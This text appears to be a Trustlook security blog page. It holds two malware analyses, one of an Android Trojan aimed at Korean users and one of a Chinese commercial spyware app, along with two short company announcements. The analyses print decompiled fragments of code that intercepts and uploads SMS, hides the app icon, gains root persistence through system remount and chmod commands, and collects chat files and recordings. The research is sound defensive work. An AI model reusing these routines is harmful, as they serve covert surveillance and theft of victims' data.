Trojan Utilizes Customized Communication Packets to Target Korean Speaking Users

Trustlook labs has discovered a Trojan which targets Korean speaking mobile users. The Trojan collects user data, including contacts, call logs, and SMS history. It also records audio, takes pictures, makes phone call, and sends SMS messages.

The Trojan disguises itself as a system app named “System Service,” and demands device administrator rights. This prevents it from being removed. The malware also removes its icon from the launcher menu to further mask itself.

The package can be identified as having the following characteristics:

  • MD5: b737d915ca36edbb24cb844ebfb621d9
  • SHA256: 734fb5812af358bc4d5a5d70e7c3c0321b9b16f8832d24b096393474bc9c3f8b
  • Size: 525055 bytes
  • App name: System Service
  • Package name: com.google.service

The package icon is:

image1

Upon execution, the app persuades the user to enable Device Administrator Access in order to maintain its persistence on the system:

image2

The message on the screen is in Korean. Translated into English it says: “Encrypted data transfer, your personal information can be protected.” The app targets Korean speaking users, and more specifically, mobile users in South Korea. Once the user clicks “Activate,” the app removes its icon from the launcher to hide itself. If the user attempts to disable the Device Administrator, the app will keep popping up the above window to force the user to re-enable it.

The app stores its C&C server IP port in a file “config.db” in the assets folder. It appears as follows: LCXwKS@0KS@sMSLeLCf2MA73MSDuLSL<

The app uses the following code snippets to decode the string:

    public boolean readConfig() {
[]
        try {
            BufferedReader br = new BufferedReader(new InputStreamReader(getAssets().open("config.db")));
            try {
                int i;
                StringBuilder sb = new StringBuilder();
                while (true) {
                    String line = br.readLine();
                    if (line == null) {
                        break;
                    }
                    sb.append(line);
                }
                String config = sb.toString();
[]
                byte[] buf = config.getBytes();
                byte[] buf1 = new byte[buf.length];
                for (i = 0; i < buf.length; i++) {
                    buf1[i] = (byte) (buf[i] + 1);
                }
                byte[] buf2 = Base64.decode(buf1, 0);
                byte[] buf3 = new byte[buf2.length];
                for (i = 0; i < buf2.length; i++) {
                    buf3[i] = (byte) (buf2[i] + 1);
                }
                config = new String(buf3, "utf-8");
[]
                String[] data = config.split(" ");
                this.host = data[0];
                this.port = Integer.parseInt(data[1]);
                this.password = data[2];
                result = true;
[]
}

The data in the config.db file above is decoded into the following string, which includes the C&C IP address, port and password used to encrypt the data:

172.16.1.64!1985!962024       

The app uses customized packets to communicate with the C&C server in order to avoid network detection. It processes four packets:

  • CommandPacket: These packets are used to store the command received from the server.
  • TransportPacket: These packets contain the data, data length, and sequence number, which are the main data exchange protocols between the app and the C&C server.
  • LogPacket: The app logs actions and uses these packets to send the log file.
  • PreferencePacket: These packets are mainly used to update the configuration between the app and the C&C server.

The following code snippets are used to process the CommandPacket:

    public CommandPacket(short cmd, int targetChannel, byte[] arg) {
        this.commande = cmd;
        this.argument = arg;
        this.targetChannel = targetChannel;
    }

    public void parse(byte[] packet) {
        ByteBuffer b = ByteBuffer.wrap(packet);
        this.commande = b.getShort();
        this.targetChannel = b.getInt();
        this.argument = new byte[b.remaining()];
        b.get(this.argument, 0, b.remaining());
    }

    public void parse(ByteBuffer b) {
        this.commande = b.getShort();
        this.targetChannel = b.getInt();
        this.argument = new byte[b.remaining()];
        b.get(this.argument, 0, b.remaining());
    }

    public byte[] build() {
        byte[] byteCmd = ByteBuffer.allocate(2).putShort(this.commande).array();
        byte[] byteTargChan = ByteBuffer.allocate(4).putInt(this.targetChannel).array();
        byte[] cmdToSend = new byte[((byteCmd.length + byteTargChan.length) + this.argument.length)];
        System.arraycopy(byteCmd, 0, cmdToSend, 0, byteCmd.length);
        System.arraycopy(byteTargChan, 0, cmdToSend, byteCmd.length, byteTargChan.length);
        System.arraycopy(this.argument, 0, cmdToSend, byteCmd.length + byteTargChan.length, this.argument.length);
        return cmdToSend;
}

The following is the struct of CommandPacket:

struct CommandPacket 
{
    short command;
    byte[] argument;
    int channel;
} ;

The app supports the following commands:

Command     description
————————————————
109                 ; display a message window

110                 ; monitor SMS

112                 ; get contacts

113                 ; get SMS message

114                 ; list file/directory

115                 ; send file

116                 ; make call

117                 ; send SMS

119                 ; stop SMS monitoring

121                 ; get device information

122                 ; open an URL in a browser

123                 ; vibrate

124                 ; download file

125                 ; install an APK

The following code snippets are used to monitor the SMS message:

 [...]
   public SMSMonitor(MainService service, int channel, byte[] data) {
        this.ctx = service;
        this.channel = channel;
        this.numbersAndKeywords = EncoderHelper.decodeHashMap(data);
        this.numberList = new ArrayList();
        this.keywordList = new ArrayList();
        String keyword = (String) this.numbersAndKeywords.get("keyword");
        try {
            String[] phoneArray = ((String) this.numbersAndKeywords.get("phone")).split(";");
            for (Object add : phoneArray) {
                this.numberList.add(add);
            }
            String[] keywordArray = keyword.split(";");
            for (Object add2 : keywordArray) {
                this.keywordList.add(add2);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        IntentFilter intentFilter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
        intentFilter.setPriority(Integer.MAX_VALUE);
        this.ctx.registerReceiver(this.SMSreceiver, intentFilter);
}

The malware collects device information by using the following code snippets:

public class DeviceInfo {
    int channel;
    MainService ctx;
    DeviceInformationPacket p = new DeviceInformationPacket();
[]
    private void battryInfo(Intent intent) {
        int i = intent.getIntExtra("health", 0);
        int j = intent.getIntExtra("level", 0);
        int k = intent.getIntExtra("plugged", 0);
        boolean bool = intent.getExtras().getBoolean("present");
        int m = intent.getIntExtra("scale", 0);
        []
        

    public void sensorsInfo() {
        List<Sensor> sensors = ((SensorManager) this.ctx.getSystemService("sensor")).getSensorList(-1);
        ArrayList<String> list = new ArrayList();
        for (Sensor name : sensors) {
            list.add(name.getName());
        }
        this.p.setSensors(list);
    }
} 

The following code snippets are used to send SMS message:

HashMap<String, String> map = EncoderHelper.decodeHashMap(byteBuffer.array());
                String number = (String) map.get(Protocol.KEY_SEND_SMS_NUMBER);
                String body = (String) map.get(Protocol.KEY_SEND_SMS_BODY);
                if (body.getBytes().length < 167) {
                    SmsManager.getDefault().sendTextMessage(number, null, body, null, null);
                } else {
                    SmsManager.getDefault().sendMultipartTextMessage(number, null, MessageDecoupator(body), null, null);
                }

The following code snippets are responsible for making phone calls:

               Intent intent = new Intent("android.intent.action.CALL", Uri.parse("tel:" + new String(byteBuffer.array())));
                    intent.setFlags(268435456);
                    this.service.startActivity(intent);

The app uses the code below to install the downloaded APK:

public class ApkInstaller {
    private MainService service;

    public ApkInstaller(MainService service, int channel) {
        this.service = service;
    }

    public void hideInstall(String apkAbsolutePath) {
    }

    public void installApk(String apkPath) {
        normalInstall(apkPath);
    }

    public void normalInstall(String apkPath) {
        Intent intent = new Intent("android.intent.action.VIEW");
        intent.setFlags(268435456);
        intent.setDataAndType(Uri.fromFile(new File(apkPath)), "application/vnd.android.package-archive");
        this.service.startActivity(intent);
    }
}

Summary
The Trojan uses customized communication packets to avoid network detection. It allows the attacker to take full control of the device in order to steal data, monitor usage, and perform other actions that violate a user’s privacy. Trustlook’s anti-threat platform can effectively protect users against this invasion.

Trustlook security demo wows audience at Qualcomm launch event

Qualcomm officials demonstrated first-of-its-kind anti-fraud technology during the Snapdragon™ 845 launch event last week in Hawaii. The new technology, developed with Trustlook, is an integrated hardware and software solution that works with the chipset for encrypting and signing device data.

Trustlook’s software, called SECUREai MP Token, works in concert with the Qualcomm HavenTM Security Platform, giving it unprecedented, built-in security features using hardware tokens. This level of security is made possible by designing the security into the chip, and cannot be matched by software-based solutions.

The joint security solution was demoed to hundreds of journalists and industry executives. It showed how the Secure Processing Unit, a part of the new security architecture of the Snapdragon 845 chipset, could be used to defeat a location spoofing hack. According to sources from Qualcomm, the demo worked flawlessly. An article from SlashGear provides more details from the launch event, including the two pictures below of the location-spoofing attempt.

IMG_20171214_181742146

2017-12-12_1424

 

Sophisticated Commercial Spyware Puts User Data at Risk

Trojan spyware can eavesdrop on a user’s device to secretly steal information. There are commercial spyware apps that market themselves as benign parental control tracking/monitoring tools. These apps normally require manual installation, and are often sold on underground hacker websites. In many cases, the data collected from these apps is stored on servers that are not accessible by the users. Sometimes, the unprotected data is leaked, and the user’s privacy is put at risk. Trustlook Labs has detected a commercial spyware app that collects a large amount of user information including call logs, chat logs, and SMS messages from devices across the world

The spyware app has the following specifications:

  • MD5: 0cb7ff97e8800d4a794ed0b4402a395d
  • SHA256: 03ea783659565b3e15e2d0c461c31fda4173214151de7b01a4b04403a38a34ba
  • Size: 765214 bytes
  • App name: Android PicoTTS
  • Package name: com.procses.acores

The app needs to be installed manually, so it requests the user to activate device administrator:

image1spy

The app provides step-by-step settings for the user to choose from:

image2spy

The app will install itself as a system app if the user grants it root privilege. This makes the uninstallation process more difficult.

public static boolean a(String str) {
        boolean b = a ? a("zlsu", str) == 0 : b(str);
        Log.i(c, a ? "zlsu " : "su " + str + ":" + String.valueOf(b));
        return b;
    }
    public static boolean a(boolean z) {
        String str = "su";
        if (z) {
            str = "zlsu";
        }
        return (!z || new File("/system/bin/" + str).exists()) && a(str, "exit") == 0;
    }
[]
    public static boolean b(Context context) {
        int i = 0;
        String str = context.getPackageName() + ".apk";
        String f = f(context);
        if (f == null) {
            return false;
        }
        File file = new File(f);
        File file2 = new File(new StringBuilder(String.valueOf(context.getFilesDir().getParent())).append("/lib/").toString());
        a("mount -o rw,remount -t yaffs2 /dev/block/mtdblock3 /system");
        if (file2.exists() && file2.isDirectory()) {
            File[] listFiles = file2.listFiles();
            if (listFiles.length > 0) {
                a("chmod 777 /system/lib");
                int length = listFiles.length;
                while (i < length) {
                    File file3 = listFiles[i];
                    if (!file3.isDirectory()) {
                        b(file3.getPath(), "/system/lib/");
                        a("chmod 4755  /system/lib/" + file3.getName());
                        a("chown 1000:1000  /system/lib/" + file3.getName());
                    }
                    i++;
                }
            }
        } 

The malware can hide its icon on the device:

final class w
  implements DialogInterface.OnClickListener
{
  w(MainActivity paramMainActivity, Context paramContext) {}
  
  public final void onClick(DialogInterface paramDialogInterface, int paramInt)
  {
    if (paramInt == -1) {}
    try
    {
      this.b.getPackageManager().setComponentEnabledSetting(new ComponentName(this.b, "com.procses.acores.MainActivity"), 2, 1);
      a.b(this.b);
[]

The app is capable of collecting information from popular chat apps in China, such as:

• 易信 (Yixin)
• 微信 (WeChat)
• QQ
• HD QQ
• WhatsApp
• 陌陌 (MOMO messenger)
• YY

The code snippets below are used to collect WeChat files:

public final class bc
{
  static String a = "/tencent/MicroMsg";
  static ArrayList b;
  
  static
  {
    ArrayList localArrayList = new ArrayList();
    b = localArrayList;
    localArrayList.add("Download");
    b.add("Game");
    b.add("locallog");
    b.add("vusericon");
    b.add("wallet");
    b.add("watchdog");
    b.add("WeiXin");
    b.add("xlog");
  }
  
  public static ArrayList a()
  {
    Object localObject = new File(Environment.getExternalStorageDirectory().getPath() + a);
    ArrayList localArrayList1 = new ArrayList();
    ArrayList localArrayList2;
    int i;
    if (((File)localObject).exists())
    {
      localObject = ((File)localObject).listFiles(new bd());
      localArrayList2 = new ArrayList();
      int j = localObject.length;
      i = 0;
      if (i < j) {
        break label96;
      }
      localObject = localArrayList2.iterator();
    }
    for (;;)
    {
      if (!((Iterator)localObject).hasNext())
      {
        return localArrayList1;
        label96:
        String str2 = localObject[i];
        String str1 = str2.getPath() + "/voice";
        str2 = str2.getPath() + "/voice2";
        if (new File(str1).exists()) {
          localArrayList2.add(str1);
        }
        if (new File(str2).exists()) {
          localArrayList2.add(str2);
        }
        i += 1;
        break;
      }
      localArrayList1.addAll(a(new File((String)((Iterator)localObject).next()), new be()));
    }
  }
  
[]
  public final void onCallStateChanged(int paramInt, String paramString)
  {
    Date localDate = new Date();
    new SimpleDateFormat("yyyyMMddHHmmss").format(localDate);
    switch (paramInt)
    {
    default: 
[]
    case 2: 
      g.a(this.a, "Look_CallLog", k.b);
      return;
    }
    g.a(this.a, "Look_CallLog", k.d);
    g.g = paramString;
  }

The app also can take screenshots with the following command:

String format = this.e.format(new Date());
        String runing2 = MyClass.getRuning2(this.a);
        Log.i(this.f, runing2);
        if (this.g.containsKey(runing2)) {
            runing2 = "/data/data/" + this.c.getPackageName() + "/screencap";
            String stringBuilder = new StringBuilder(String.valueOf(SmsService.a(aq.d))).append(format).toString();
            try {
                if (MyClass.SavePic(this.c, runing2, stringBuilder, Integer.parseInt(PreferenceManager.getDefaultSharedPreferences(this.c).getString("picQuality", "5"))) && new File(stringBuilder).exists()) {
                    int a;
[]
                    options.inPreferredConfig = Config.ARGB_8888;
                    options.inSampleSize = 1;
                    if (!(i == 0 || i2 == 0)) {
                        options.inSampleSize = ((i / 15) + (i2 / 15)) / 2;
                    }
                    options.inJustDecodeBounds = false;
                    Bitmap decodeFile = BitmapFactory.decodeFile(stringBuilder, options);

The following code snippets are used to record sound:

public class RecordPhone2
  extends IRecordPhone
{
  private static MediaRecorder recorder;
  int Audio_source;
  Context ct;
  String tag = "RecordPhone2";
  
  public RecordPhone2(int paramInt)
  {
    this.Audio_source = paramInt;
  }
  
  private void releaseMediaRecorder()
  {
    if ((recorder == null) || (recording)) {}
    for (;;)
    {
      try
      {
        Log.i(this.tag, "releaseMediaRecorder");
        recorder.stop();
        recording = false;
        recorder.reset();
        recorder.release();
        recorder = null;
        return;
      }
[]
      }

The following code snippets are used to upload SMS messages:

public final class b
{
  static String a = "upload";
  static String b = "Database";
  
  public static ArrayList a(Context paramContext)
  {
    localArrayList = new ArrayList();
    try
    {
      paramContext = paramContext.openOrCreateDatabase(paramContext.getPackageName(), 0, null);
      Cursor localCursor = paramContext.query("upload", new String[] { "id", "smstype", "needDel", "ext", "title", "body", "filename", "uploaded", "date" }, "uploaded=?", new String[] { "0" }, null, null, "id");
      for (;;)
      {
        if (!localCursor.moveToNext())
        {
          localCursor.close();
          paramContext.close();
          return localArrayList;
        }
        c localc = new c();
        localc.d = localCursor.getInt(localCursor.getColumnIndex("id"));
        localc.i = localCursor.getString(localCursor.getColumnIndex("smstype"));
        localc.a = localCursor.getString(localCursor.getColumnIndex("title"));
        localc.g = localCursor.getString(localCursor.getColumnIndex("ext"));
        localc.b = localCursor.getString(localCursor.getColumnIndex("body"));
        localc.e = localCursor.getString(localCursor.getColumnIndex("filename"));
        localc.c = localCursor.getString(localCursor.getColumnIndex("uploaded"));
        localc.f = localCursor.getString(localCursor.getColumnIndex("date"));
        localc.h = localCursor.getInt(localCursor.getColumnIndex("needDel"));
        localArrayList.add(localc);
      }
      return localArrayList;
    }
    catch (Exception paramContext) {}
  }
  
[]
      localContentValues.put("needDel", Integer.valueOf(i));
      localContentValues.put("date", DateTimeHelper.FormatDateString(new Date()));
      paramContext.insert("upload", null, localContentValues);
      paramContext.close();
      return;
    }
    catch (Exception paramContext) {}
  }

The developer/vendor uses QQ (instant chat app) to communicate with the user. After the user buys the registration code, the app will be activated:

    public static boolean a(Context context, String str) {
        String a = ab.a(context);
        String a2 = ab.a(a, str);
        if (!(str == null || str == "")) {
            if (MyClass.isValidDate(a2) != null) {
                ab.a(context, "JerryRegisterCode_Key2", str, ar.i, a);
                if (a2.equals(ab.a)) {
                    SmsService.b(context, "软件已被取消激活", "╠㊣╣" + ar.a + ",当前授权时间至:" + a2);
                } else {
                    SmsService.b(context, "注册成功", "╠㊣╣" + ar.a + ",当前授权时间至:" + a2);
                }
            } else {
                SmsService.b(context, "注册失败", "未注册" + ar.a + ",注册码有误,注册不成功。提交注册码为:" + str + " 机器码为:" + ab.a(context));
            }
        }
        return true;
}

Summary
Commercial spyware apps can be used for legitimate purposes, but when put in the wrong hands, they can be effective attack tools against innocent people. These apps are often installed silently, and can take full control of a mobile device. This lets potential attackers monitor the user’s activities remotely. Trustlook’s anti-threat platform can effectively protect users against these threats.

Trustlook Selected for Top 10 Cybersecurity Solution Providers

mainlogo

Trustlook is honored and excited to be selected as a Top 10 Cybersecurity Solution Provider by The Technology Headlines. This list is published yearly, and is considered by many to be the definitive list of the world’s hottest and most innovative companies in the cybersecurity industry. This year’s list includes the following ten cybersecurity leaders:

  • Aizoon
  • BAE Systems
  • Booz Allen Hamilton
  • CyberArk
  • FireEye
  • OnBoard Security
  • Palo Alto Security
  • RSA Security
  • Secure Works
  • Trustlook

Trustlook has built a reputation for reliable cybersecurity products that are based on artificial intelligence. Our innovative SECUREai engine delivers the performance and scalability needed to provide total threat protection against malware and other forms of attack. We have products for consumers, app developers, OEMs, systems integrators, and large enterprises. We protect mobile phones, network appliances, and IoT devices.

To read the article from The Technology Headlines, please go here. To learn more about Trustlook or to schedule a demo, please visit www.trustlook.com.

2017-11-29_1059